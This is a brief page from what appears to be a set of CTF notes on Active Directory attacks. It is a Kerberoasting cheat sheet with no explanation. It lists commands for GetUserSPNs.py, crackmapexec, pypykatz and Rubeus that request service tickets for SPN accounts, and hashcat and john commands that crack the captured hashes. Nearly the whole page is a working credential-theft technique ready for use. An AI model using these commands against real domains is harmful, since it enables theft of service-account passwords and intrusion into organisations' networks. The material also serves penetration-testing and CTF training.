> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/active-directory/kerberos-attack/kerberoast.md).

# Kerberoast

#### Linux

{% code overflow="wrap" %}

```bash
# with a password
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

# with an NT hash
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'

crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter

pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 'kerberos+password://DOMAIN\username:Password@IP'

# Decrypt the hash
hashcat -m 13100 kerberoastables.txt $wordlist
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
```

{% endcode %}

#### Windows

```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt
hashcat -m 13100 kerberoastables.txt $wordlist
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
```